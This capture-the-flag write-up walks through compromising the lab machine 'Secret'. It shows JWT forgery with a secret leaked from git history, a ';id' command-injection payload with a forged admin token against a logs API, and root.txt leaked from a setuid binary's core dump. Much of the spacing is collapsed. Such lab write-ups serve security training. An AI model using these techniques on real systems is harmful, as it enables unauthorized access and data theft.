# Nmap 7.91 scan initiated Sun Oct 31 00:15:29 2021 as: nmap -vvv -p 22,80,3000 -A -v -sC -sV -oN intial.nmap 10.10.11.120
Nmapscanreportforsecret.htb (10.10.11.120)Hostisup,receivedsyn-ack (0.23s latency).Scannedat2021-10-3100:15:31EDTfor21sPORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackOpenSSH8.2p1Ubuntu4ubuntu0.3 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|307297:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|25695:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|25633:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci80/tcpopenhttpsyn-acknginx1.18.0 (Ubuntu)|http-methods:|_SupportedMethods:GETHEADPOSTOPTIONS|_http-server-header:nginx/1.18.0 (Ubuntu)|_http-title:DUMBDocs3000/tcpopenhttpsyn-ackNode.js (Express middleware)|http-methods:|_SupportedMethods:GETHEADPOSTOPTIONS|_http-title:DUMBDocsServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelReaddatafilesfrom:/usr/bin/../share/nmapServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sun Oct 31 00:15:52 2021 -- 1 IP address (1 host up) scanned in 24.06 seconds
Manual Enumeration
Just Visting websites on ports 80,3000 both looked same. Just gazing through website 2 features looks intresting.
Live Demo
![[Pasted image 20211031095429.png]] which redirets to /api endpoint ![[Pasted image 20211031095516.png]] Nothing intresting for now so let's move on to the seond feature.
Source Code
![[Pasted image 20211031095602.png]] The website seeming gives out it source code on website just like any other opensource projects. So let's download it and inspects for something good. Looking at the directory listing of source code it looks like it a git repository. It was all confirmed by ohmyzsh in my case.
and it will take time as it is a big repository so give it some time to complete. While that's running I did some manual enumeration. Looking at index.js we can see that the is an /api/user endpoint on auth route and auth route and it logic is defined in /route/auth. so let's check /routes/auth.js we can see there is the /register endpoint to register user so let's confirm this by sending a post request as get requests are not allowed.
➜ local-web git:(master) curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"foo": "bar"}'
Note:Unnecessaryuseof-Xor--request,POSTisalreadyinferred.* Trying 10.10.11.120:80...* Connected to secret.htb (10.10.11.120) port 80 (#0)>POST/api/user/registerHTTP/1.1> Host: secret.htb> User-Agent: curl/7.74.0> Accept: */*> Content-Type: application/json> Content-Length: 14>* upload completely sent off: 14 out of 14 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 400 Bad Request< Server: nginx/1.18.0 (Ubuntu)< Date: Sun, 31 Oct 2021 05:20:49 GMT< Content-Type: text/html; charset=utf-8< Content-Length: 18< Connection: keep-alive< X-Powered-By: Express< ETag: W/"12-FCVaNPnXYf0hIGYsTUTYByRq5/U"<* Connection #0 to host secret.htb left intact"name"isrequired
looks like we have a valid endpoint so let's see what data it is expecting us to send in order to register a user. Looks like it expects us to give name,email,password in order to register the user. Looks like this schema is also defined in validation.js
one thing that we know from above manual enumeration is that it used secret to sign JWT tokens so let's hunt for it. Looking through all the commit I found token in first 2 commits.
let's just create a sample token using the secret found.
Registering User
So let's register the user from our above knowledge.
➜ local-web git:(master) curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "oopsie","email": "oopsie@oops.com","password": "oopsie"}'
Note:Unnecessaryuseof-Xor--request,POSTisalreadyinferred.* Trying 10.10.11.120:80...* Connected to secret.htb (10.10.11.120) port 80 (#0)>POST/api/user/registerHTTP/1.1> Host: secret.htb> User-Agent: curl/7.74.0> Accept: */*> Content-Type: application/json> Content-Length: 66>* upload completely sent off: 66 out of 66 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Server: nginx/1.18.0 (Ubuntu)< Date: Sun, 31 Oct 2021 05:22:38 GMT< Content-Type: application/json; charset=utf-8< Content-Length: 17< Connection: keep-alive< X-Powered-By: Express< ETag: W/"11-MVKplfg5kMeyW9LR080TwknJb0I"<* Connection #0 to host secret.htb left intact{"user":"oopsie"}
We registered a user oopsie. Now let's try and login. For login we know we need to send email and password.(from validation.js)
➜ local-web git:(master) curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "oopsie@oops.com","password": "oopsie"}'
Note:Unnecessaryuseof-Xor--request,POSTisalreadyinferred.* Trying 10.10.11.120:80...* Connected to secret.htb (10.10.11.120) port 80 (#0)>POST/api/user/loginHTTP/1.1> Host: secret.htb> User-Agent: curl/7.74.0> Accept: */*> Content-Type: application/json> Content-Length: 49>* upload completely sent off: 49 out of 49 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Server: nginx/1.18.0 (Ubuntu)< Date: Sun, 31 Oct 2021 05:24:17 GMT< Content-Type: text/html; charset=utf-8< Content-Length: 205< Connection: keep-alive< X-Powered-By: Express< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU2NTc4NTd9.7v-DST155DL_5yuhC9Zbe2rdyPiGCcd8aeYUucQLVzU
< ETag: W/"cd-8bWdMB+EkctRi8EWpGcQpwBt2Iw"<* Connection #0 to host secret.htb left intacteyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU2NTc4NTd9.7v-DST155DL_5yuhC9Zbe2rdyPiGCcd8aeYUucQLVzU
looks like we are logged in and we have our token. now let's see if we can do something intresting with but let's first see how it validates a JWT token.
looks like we just have to pass it as header in request with header name auth-token. so let's confirm it by sending it to /api/priv endpoint which just tells you if you are admin or not.
Looks like we are not admin but we have the secret we can forge the token. Let's Understand what we need to satisfy in order to be an admin it is declared in /routes/private.js so it basically checks that if name == 'theadmin' if so then it will give us the admin capabilities. Let's decode our token and find how its made. I will use jwttool for it you can use any tool of your liking you can also use their online website jwt.io which easy and pretty convinient. website: https://jwt.io/ tool: https://github.com/ticarpi/jwt_tool
Now we are admin. Now let's try to look at logs as we can see it in /routes/private.js We have to specify the file name as the get parameter with the name file.
➜ dump curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTY1Nzg1N30.atZrtL6UzhLQNDANrsNWeiv9wt4dzdYeOLaiGeNahcw'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
Yeah so now let's to get the rev shell. Now create a shell.sh file with contents
Gives you an intresting file with setuid at /opt/count. looking for the files in opt directory we are given the code for the binary too.
dasith@secret:/opt$lscode.ccountvalgrind.log
So let's go through the code.
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<dirent.h>#include<sys/prctl.h>#include<sys/types.h>#include<sys/stat.h>#include<linux/limits.h>voiddircount(constchar*path,char*summary){ DIR *dir;char fullpath[PATH_MAX];struct dirent *ent;struct stat fstat;int tot =0, regular_files =0, directories =0, symlinks =0;if((dir =opendir(path)) ==NULL) {printf("\nUnable to open directory.\n");exit(EXIT_FAILURE); }while ((ent =readdir(dir)) !=NULL) {++tot;strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);strcat(fullpath,"/");strncat(fullpath,ent->d_name, strlen(ent->d_name));if (!lstat(fullpath,&fstat)) {if(S_ISDIR(fstat.st_mode)) {printf("d");++directories; }elseif(S_ISLNK(fstat.st_mode)) {printf("l");++symlinks; }elseif(S_ISREG(fstat.st_mode)) {printf("-");++regular_files; }elseprintf("?");printf((fstat.st_mode & S_IRUSR) ?"r":"-");printf((fstat.st_mode & S_IWUSR) ?"w":"-");printf((fstat.st_mode & S_IXUSR) ?"x":"-");printf((fstat.st_mode & S_IRGRP) ?"r":"-");printf((fstat.st_mode & S_IWGRP) ?"w":"-");printf((fstat.st_mode & S_IXGRP) ?"x":"-");printf((fstat.st_mode & S_IROTH) ?"r":"-");printf((fstat.st_mode & S_IWOTH) ?"w":"-");printf((fstat.st_mode & S_IXOTH) ?"x":"-"); }else {printf("??????????"); }printf ("\t%s\n",ent->d_name); }closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);}voidfilecount(constchar*path,char*summary){ FILE *file;char ch;int characters, words, lines; file =fopen(path,"r");if (file ==NULL) {printf("\nUnable to open file.\n");printf("Please check if file exists and you have read privilege.\n");exit(EXIT_FAILURE); } characters = words = lines =0;while ((ch =fgetc(file)) != EOF) { characters++;if (ch =='\n'|| ch =='\0') lines++;if (ch ==' '|| ch =='\t'|| ch =='\n'|| ch =='\0') words++; }if (characters >0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);}intmain(){char path[100];int res;struct stat path_s;char summary[4096];printf("Enter source file/directory name: ");scanf("%99s", path);getchar();stat(path,&path_s);if(S_ISDIR(path_s.st_mode))dircount(path, summary);elsefilecount(path, summary);// drop privs to limit file writesetuid(getuid());// Enable coredump generationprctl(PR_SET_DUMPABLE,1);printf("Save results a file? [y/N]: "); res =getchar();if (res ==121|| res ==89) {printf("Path: ");scanf("%99s", path); FILE *fp =fopen(path,"a");if (fp !=NULL) {fputs(summary, fp);fclose(fp); } else {printf("Could not open %s for writing\n", path); } }return0;}
Looking at the source code the write functionality looks intresting but the problem is that we cannot write in privilleged mode and not the content of file so there is no possible way we can write something to high-privileged file or see the content of higher privileged file. The catch over here is that what if we crash the code in between the execution of the code. Most of the time if we crash the process in between the report is most of the time saved in /var/crash in linux distro. Normally this won't be possible but with this perm set prctl(PR_SET_DUMPABLE, 1); it could be possible. I am still not sure about what it does exactly but here is the man page for this function if you are intrested. https://man7.org/linux/man-pages/man2/prctl.2.html As far as I understand this determines whether core dumps are produced or not and by default it is always 1 so not sure why he manually did probably as a hint. As it is set to 1 we can produce core dump so let's test this thoery practically. For this we need 2 shells so first make sure you have 2 shells. 1 -> To run the count binary 2 -> To create crash
We have the coredump file so let's check it out using strings or else it will give out gibberish output.
dasith@secret:/tmp/oopsie$stringsCoreDump<----REDACTED---->Path:esultsafile? [y/N]: words = 2Totallines=2oot/root.txt<--REDACTED-->aa9c3c6efe<--REDACTED--><----REDACTED---->